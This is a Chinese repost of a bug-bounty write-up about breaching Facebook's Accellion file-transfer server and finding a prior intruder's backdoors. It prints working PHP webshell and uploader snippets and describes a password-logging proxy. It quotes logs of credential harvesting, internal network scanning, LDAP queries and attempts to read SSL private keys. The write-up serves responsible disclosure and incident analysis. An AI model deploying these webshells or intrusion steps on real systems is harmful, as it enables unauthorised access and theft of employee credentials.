技术分享：渗透Facebook的思路与发现

写在故事之前

身为一位渗透测试人员，比起 Client Side 的弱点我更喜欢 Server Side 的攻击，能够直接的控制服务器、获得权限操作 SHELL 才爽 <(￣︶￣)>

当然一次完美的渗透任何形式的弱点都不可小觑，在实际渗透时偶尔还是需要些 Client Side 弱点组合可以更完美的控制服务器，但是在寻找弱点时我本身还是先偏向以可直接进入服务器的方式来去寻找风险高、能长驱直入的弱点。

随着 Facebook 在世界上越来越火红、用户量越来越多，一直以来都有想要尝试看看的想法，恰巧 Facebook 在 2012 年开始有了 Bug Bounty 奖金猎人的机制让我更跃跃欲试。

一般如由渗透的角度来说习惯性都会从收集数据、侦查开始，首先界定出目标在网络上的 “范围” 有多大，姑且可以评估一下从何处比较有机会下手。例如:

当然 Bug Bounty 并不是让你无限制的攻击，将所搜集到的范围与 Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。

一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨

1. 对多数大公司而言，” 网络边界 ” 是比较难顾及、容易出现问题的一块，当公司规模越大，同时拥有数千、数万台机器在线，网管很难顾及到每台机器。在攻防里，防守要防的是一个面，但攻击只需 找个一个点就可以突破，所以防守方相对处于弱势，攻击者只要找到一台位于网络边界的机器入侵进去就可以开始在内网进行渗透了!
2. 对于 “ 连网设备 ” 的安全意识相对薄弱，由于连网设备通常不会提供 SHELL 给管理员做进一步的操作，只能由设备本身所提供的接口设定，所以通常对于设备的防御都是从网络层来抵挡，但如遇到设备本身的 0-Day 或者是 1-Day 可能连被入侵了都不自觉。
3. 人的安全，随着 “ 社工库 ” 的崛起，有时可以让一次渗透的流程变得异常简单，从公开数据找出公司员工列表，再从社工库找到可以登入 VPN 的员工密码就可以开始进行内网渗透，尤其当社工库数量越来越多 “ 量变成质变 ” 时只要关键人物的密码在社工库中可找到，那企业的安全性就全然突破

理所当然在寻找 Facebook 弱点时会以平常进行渗透的思路进行，在开始搜集数据时除了针对 Facebook 本身域名查询外也对注册信箱进行 Reverse Whois 意外发现了个奇妙的域名名称

tfbnw.net

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起来是个 Juniper SSL VPN 的登入接口，不过版本满新的没有直接可利用的弱点，不过这也成为了进入后面故事的开端。

TFBNW 看似是 Facebook 内部用的域名，来扫扫 vpn.tfbnw.net 同网段看会有什么发现

• Mail Server Outlook Web App
• F5 BIGIP SSL VPN
• CISCO ASA SSL VPN
• Oracle E-Business
• MobileIron MDM

从这几台机器大致可以判断这个网段对于 Facebook 来说应该是相对重要的网段，之后一切的故事就从这里开始。

弱点发现

在同网段中，发现一台特别的服务器

files.fb.com 

files.fb.com 登入界面

从 LOGO 以及 Footer 判断应该是 Accellion 的 Secure File Transfer (以下简称 FTA)

FTA 为一款标榜安全文件传输的产品，可让用户在线分享、同步档案，并整合 AD, LDAP, Kerberos 等 Single Sign-on 机制，Enterprise 版本更支持 SSL VPN 服务。

首先看到 FTA 的第一件事是去网络上搜寻是否有公开的 Exploit 可以利用，Exploit 最近的是由 HD Moore 发现并发布在 Rapid7 的这篇 Advisory

• Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱点中可直接从 “ /tws/getStatus ” 中泄漏的版本信息判断是否可利用，在发现 files.fb.com 时版本已从有漏洞的 0.18 升级至 0.20 了，不过就从 Advisory 中所透露的片段程序代码感觉 FTA 的撰写风格如果再继续挖掘可能还是会有问题存在的，所以这时的策略便开始往寻找 FTA 产品的 0-Day 前进!

不过从实际黑箱的方式其实找不出什么问题点只好想办法将方向转为白箱测试，透过各种方式拿到旧版的 FTA 原始码后终于可以开始研究了!

整个 FTA 产品大致架构：

首先是解密 IonCude 的部分，许多设备为了防止自己的产品被检视所以会将原始码加密，不过好在 FTA 上的 IonCude 版本没到最新，可以使用现成的工具解密，不过由于 PHP 版本的问题，细节部份以及数值运算等可能要靠自己修复一下，不然有点难看…

经过简单的原始码审查后发现，好找的弱点应该都被 Rapid7 找走了 T^T而需要认证才能触发的漏洞又不怎么好用，只好认真点往深层一点的地方挖掘!

经过几天的认真挖掘，最后总共发现了七个弱点，其中包含了

除了回报 Facebook 安全团队外，其余的弱点也制作成 Advisory 提交 Accellion 技术窗口，经过厂商修补提交 CERT/CC 后取得四个 CVE 编号：

详细的弱点细节会待 Full Disclosure Policy 后公布!

使用 Pre-Auth SQL Injection 写入 Webshell

在实际渗透中进去服务器后的第一件事情就是检视当前的环境是否对自己人善，为了要让自己可以在服务器上待的久就要尽可能的了解服务器上有何限制、纪录，避开可能会被发现的风险

Facebook 大致有以下限制：

无法外连看起来有点麻烦，但是 ICMP Tunnel 看似是可行的，但这只是一个 Bug Bounty Program 其实不需要太麻烦就纯粹以 Webshell 操作即可。

似乎有点奇怪?

正当收集证据准备回报 Facebook 安全团队时，从网页日志中似乎看到一些奇怪的痕迹。

首先是在 “ /var/opt/apache/php_error_log ” 中看到一些奇怪的 PHP 错误讯息，从错误讯息来看似乎像是边改 Code 边执行所产生的错误?

PHP error log

跟随错误讯息的路径去看发现疑似前人留下的 Webshell 后门

Webshell on facebook server

其中几个档案的内容如下

sshpass

没错，就是那个 sshpass

bN3d10Aw.php

<?phpecho shell_exec($_GET['c']); ?>

uploader.php

<?phpmove_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"]));?>

d.php

<?phpinclude_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]);?>

sclient_user_class_standard.inc

include_once 中 “ sclient_user_class_standard.inc.orig ”为原本对密码进行验证的 PHP 程序，黑客做了一个 Proxy 在中间并在进行一些重要操作时先把 GET, POST, COOKIE 的值记录起来

整理一下，黑客做了一个 Proxy 在密码验证的地方，并且记录 Facebook 员工的账号密码，并且将记录到的密码放置在 Web 目录下，黑客每隔一段时间使用 wget 抓取

wgethttps://files.fb.com/courier/B3dKe9sQaa0L.log 

↑ Logged passwords

从纪录里面可以看到除了用户账号密码外，还有从 FTA 要求档案时的信件内容，记录到的账号密码会定时 Rotate (后文会提及，这点还满机车的XD)

发现当下，最近一次的 Rotate 从 2/1 记录到 2/7 共约 300 笔账号密码纪录，大多都是 “ @fb.com ” 或是 “ @facebook.com ” 的员工帐密，看到当下觉得事情有点严重了，在 FTA 中，使用者的登入主要有两种模式

1. 一般用户注册，密码 Hash 存在数据库，由 SHA256 + SALT 储存
2. Facebook 员工 (@fb.com) 则走统一认证，使用 LDAP 由 AD 认证

在这里相信记录到的是真实的员工账号密码， ** 猜测 ** 这份账号密码应该可以通行 Facebook Mail OWA, VPN 等服务做更进一步的渗透…

此外，这名 “黑客” 可能习惯不太好

1. 后门参数皆使用 GET 来传递，在网页日志可以很明显的发现他的足迹
2. 黑客在进行一些指令操作时没顾虑到 STDERR ，导致网页日志中很多指令的错误讯息，从中可以观察黑客做了哪些操作

从 access.log 可以观察到的每隔数日黑客会将记录到的账号密码清空

1cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout92.168.54.13- - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET/courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -oStrictHostKeyChecking=no soggycat@localhost 'cp/home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo> /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559...

 cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout

tar-czvf files.tar.gz files 打包档案 

对内部网络结构进行探测

diga archibus.thefacebook.com telnetarchibus.facebook.com 80 curlhttp://archibus.thefacebook.com/spaceview_facebook/locator/room.php diga records.fb.com telnetrecords.fb.com 80 telnetrecords.fb.com 443 wget-O- -q http://192.168.41.16 diga acme.facebook.com ./sshpass-p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +shortptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...

使用 Shell Script 进行内网扫描但忘记把 STDERR 导掉XD

尝试对内部 LDAP 进行连接

sh:-c: line 0: syntax error near unexpected token `(' sh:-c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -bCN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -sbase (objectclass=*) 2>/dev/stdout'

尝试访问内部网络资源( 看起来 Mail OWA 可以直接访问 …)

--20:38:09--  https://mail.thefacebook.com/ Resolvingmail.thefacebook.com... 192.168.52.37 Connectingto mail.thefacebook.com|192.168.52.37|:443... connected. HTTPrequest sent, awaiting response... 302 Found Location:https://mail.thefacebook.com/owa/ [following] --20:38:10--  https://mail.thefacebook.com/owa/ Reusingexisting connection to mail.thefacebook.com:443. HTTPrequest sent, awaiting response... 302 Moved Temporarily Location:https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0[following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusingexisting connection to mail.thefacebook.com:443. HTTPrequest sent, awaiting response... 200 OK Length:8902 (8.7K) [text/html] Savingto: `STDOUT'        0K ........                                             100% 1.17G=0s   20:38:10(1.17 GB/s) - `-' saved [8902/8902]   --20:38:33--  (try:15) https://10.8.151.47/ Connectingto 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolvingsvn.thefacebook.com... failed: Name or service not known. --20:39:03--  https://sb-dev.thefacebook.com/ Resolvingsb-dev.thefacebook.com... failed: Name or service not known. failed:Connection timed out. Retrying.

尝试对 SSL Private Key 下手

sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied ls:/etc/opt/apache/ssl.key/server.key: No such file or directory mv:cannot stat `x': No such file or directory sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied mv:cannot stat `x': No such file or directory sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied mv:cannot stat `x': No such file or directory sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied mv:cannot stat `x': No such file or directory sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied mv:cannot stat `x': No such file or directory sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied base64:invalid input

从浏览器观察 files.fb.com 的凭证还是 Wildcard 的 *.fb.com …

后记

在收集完足够证据后便立即回报给 Facebook 安全团队，回报内容除了漏洞细节外，还附上相对应的 Log 、截图以及时间纪录xD

从服务器中的日志可以发现有两个时间点是明显黑客在操作系统的时间，一个是七月初、另个是九月中旬

七月初的动作从纪录中来看起来比较偏向 “逛” 服务器，但九月中旬的操作就比较恶意了，除了逛街外，还放置了密码 Logger 等，至于两个时间点的 “黑客” 是不是同一个人就不得而知了 而七月发生的时机点正好接近 CVE-2015-2857 Exploit 公布前，究竟是透过 1-Day 还是无 0-Day 入侵系统也无从得知了。

这件事情就记录到这里，总体来说这是一个非常有趣的经历xD

也让我有这个机会可以来写写关于渗透的一些文章

最后也感谢 Bug Bounty 及胸襟宽阔的 Facebook 安全团队 让我可以完整记录这起事件 : )

Timeline

• 2016/02/05 20:05 提供漏洞详情给 Facebook 安全团队
• 2016/02/05 20:08 收到机器人自动回复
• 2016/02/06 05:21 提供弱点 Advisory 给 Accellion 技术窗口
• 2016/02/06 07:42 收到 Thomas 的回复，告知调查中
• 2016/02/13 07:43 收到 Reginaldo 的回复，告知 Bug Bounty 奖金 $10000 USD
• 2016/02/13 询问是否撰写 Blog 是否有任何要注意的地方?
• 2016/02/13 询问此漏洞被认为是 RCE 还是 SQL Injection
• 2016/02/18 收到 Reginaldo 的回复，告知正在进行调查中，希望 Blog 先暂时不要发出
• 2016/02/24 收到 Hai 的回复，告知奖金将会于三月发送
• 2016/04/20 收到 Reginaldo 的回复，告知调查已完成

这篇是前天的时候，Orange Tsai发的，根据他们执行长说的话应该是可以转载吧